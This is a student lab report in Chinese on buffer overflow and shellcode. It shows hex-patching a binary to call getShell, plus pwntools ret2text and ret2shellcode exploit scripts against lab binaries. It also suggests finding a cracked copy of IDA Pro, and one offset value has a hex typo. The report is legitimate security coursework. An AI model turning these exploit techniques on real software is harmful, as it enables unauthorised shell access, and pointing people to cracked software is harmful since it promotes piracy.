姓名:陳振燁
學號:20222314
實驗日期:2024/09/29 — 2024/10/09
實驗名稱:緩衝區溢位和shellcode
指導教師:王志強
實驗要求:
1.掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼(0.5分)
2.掌握反彙編與十六進位制程式設計器 (0.5分)
3.能正確修改機器指令改變程式執行流程(0.5分)
4.能正確構造payload進行bof攻擊(0.5分)***
5.注入一個自己製作的shellcode並執行這段shellcode
實驗步驟:
1. 掌握NOP, JNE, JE, JMP, CMP彙編指令的機器碼
(1). NOP:NOP指令即“空指令”。執行到NOP指令時,CPU什麼也不做,僅僅當做一個指令執行過去並繼續執行NOP後面的一條指令。(機器碼:90)
(2). JNE:條件轉移指令,如果不相等則跳轉。(機器碼:75)
(3). JE:條件轉移指令,如果相等則跳轉。(機器碼:74)
(4). JMP:無條件轉移指令。段內直接短轉Jmp short(機器碼:EB)段內直接近轉移Jmp near(機器碼:E9)段內間接轉移Jmp word(機器碼:FF)段間直接(遠)轉移Jmp far(機器碼:EA)
(5). CMP:比較指令,功能相當於減法指令,只是對運算元之間運算比較,不儲存結果。cmp指令執行後,將對標誌暫存器產生影響。其他相關指令透過識別這些被影響的標誌暫存器位來得知比較結果。
2.掌握反彙編與十六進位制程式設計器
反彙編工具:objdump ida_pro
十六進位制編輯器:vim中的xxd指令,winhex,010editor,sublim等
objdump使用方式:objdump -d [filename]
IDA_pro使用方法:先對elf進行checksec,確定檔案是32位還是64位,隨後用對應的程式開啟(9.0版本不需要區
分),若是exe檔案,則exeinfo查詢資訊後開啟(其實也可以直接試)
vim檢視16進位制 :在vim開啟檔案後,輸入:%!xxd ,若進行了修改,在wq之前一定要:%!xxd -r,否則檔案型別會出錯
其他檢視方式 :此處不再贅述,尤其是ida,不破解需要爆金幣,可自行搜尋,網上基本都有下載及破解方式
3.能正確修改機器指令改變程式執行流程
既然要修改機器指令,那麼首先就要學會去查詢原本的機器指令以及彙編程式,從而我們首先使用objdump檢視具體的函式和機器指令:(第一列為記憶體地址,第二列為機器指令、第三列為機器指令對應的組合語言)
這裡我們主要關注紅框所框出的getShell(),foo(),main()三個函式的彙編指令
觀察main函式發現,call 跳轉到了foo函式,而根據對檔案的執行測試發現,它只會簡單回顯任何使用者輸入的字串。根據實驗要求,我們需要修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。因此,需要將call 8048491中的地址8048491修改為getShell的地址804847d,偏移量=8048491-80484ba=-41。補碼錶示為0xffffffd7,與第二列機器指令中的0xd7ffffff相吻合。由此可知,要想呼叫getShell,偏移量為0804847d(getShell函式的首地址)-80484ba=-61=0xffffff3c顛倒為計算機儲存內容,為0xc3ffffff,即需要將0xd7ffffff修改為0xc3ffffff。
接下來對機器指令進行修改,先用vim檢視檔案的16進位制,按照前面所提到的方式,vim後輸入:%!xxd進入如圖所示的介面,/d7ff查詢機器指令
修改d7為c3,一定要記得先:%!xxd -r後再:wq,否則檔案型別會出錯
隨後執行檔案,./pwn1,成功getshell
4.能正確構造payload進行bof攻擊
畢竟我是打ctf的,這裡我想使用我自己的方法,所以我沒有按照參考文件進行,這裡掏出我的ubuntu虛擬機器,那上面我已經部署好了pwn的相關環境
針對第四題,其實就是一道簡單的ret2text,先對檔案進行checksec
可以看到這是一個32位的小端程式,很好,沒有NX和canary
正常情況下,剛才的objdump已經給出了函式的地址資訊,但是這裡為了展示一下ida的介面和用法,用32位ida開啟檔案重新分析
32位程式差四位,由此我們可以編寫payload=b'A'*(28+4)+p32(getShell_addr):
EXP如下:
#r2t.py
from pwn import *
p=process("pwn2")
getShell_addr = 0x0804847d
payload = b'A'*(28+4) + p32(getShell_addr)
p.sendline(payload)
p.interactive()
執行後成功getshell
5.注入一個自己製作的shellcode並執行這段shellcode
ret2shellcode中比較一個關鍵的點就是尋找暫存器的地址,只有這樣才能讓shellcode被注入到可執行的段落,先利用execstcak -s pwn1命令禁用掉NX保護(其實在前文中可以看到NX並沒有被開啟,但是不知道為什麼,不進行這一步是打不通的,應該是因為我的checksec出現了一些小bug),同時要注意禁用下ASLR
利用gdb除錯,先進行一波注入測試(在root下gdb,不然那個地址好像會出錯),在puts下斷點,r執行後輸入32個A和一堆零
from pwn import *
p = process("pwn1")
shellcode = asm(shellcraft.sh())
payload2 = b'A' * 32 +p32(0xffffd0a0)+shellcode
p.send(payload2)
p.interactive()
執行後成功getshell
這裡就要說的我要吐槽的一個點了,其實就算開啟了ASLR和NX保護也是可以打的,因為這是一個典型的小段32位程式,有gets和puts,且.plt.got表十分好找且地址正確,按道理來說不論是syscall(只能打關ASLR)還是ret2libc(這個能打保護雙開),都可以透過一波注入洩露puts的真實地址,隨後找到合適的libc庫,結果就在我做擴充的時候,我發現雖然能找到system函式和/bin/sh字串,但是這個程式居然沒有int_80x??????(我滿腦子都是納尼)這就意味著我們沒法透過中斷指令進行系統呼叫,從而ret2syscall這一條路就徹底給我堵死了,後來我進行ret2libc時遇到了一個經典問題就是同長度同傳參的segmentation fault,並且洩露的puts的real地址在關掉ASLR後竟然是一個抽象的0x61616161,當然後來這個問題我解決了,隨後我又遇到了一個逆天的問題:本地打不通,我非常確信我的指令碼絕對沒問題了,畢竟在ctf時也經常出現本地打不通但是遠端可以打通的問題,不管怎麼著都是一次做題經驗,無所謂了就是說()